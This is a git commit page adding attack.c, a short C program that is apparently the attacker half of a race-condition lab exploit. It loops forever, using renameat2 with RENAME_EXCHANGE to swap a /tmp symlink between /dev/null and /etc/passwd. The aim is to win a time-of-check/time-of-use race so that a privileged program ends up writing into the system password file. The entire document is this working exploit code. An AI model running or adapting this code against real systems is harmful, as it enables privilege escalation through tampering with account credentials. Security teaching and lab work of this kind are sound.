first commit
This commit is contained in:
13
attack.c
Normal file
13
attack.c
Normal file
@@ -0,0 +1,13 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
int main()
|
||||
{
|
||||
unsigned int flags = RENAME_EXCHANGE;
|
||||
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
|
||||
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
|
||||
while(1){
|
||||
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user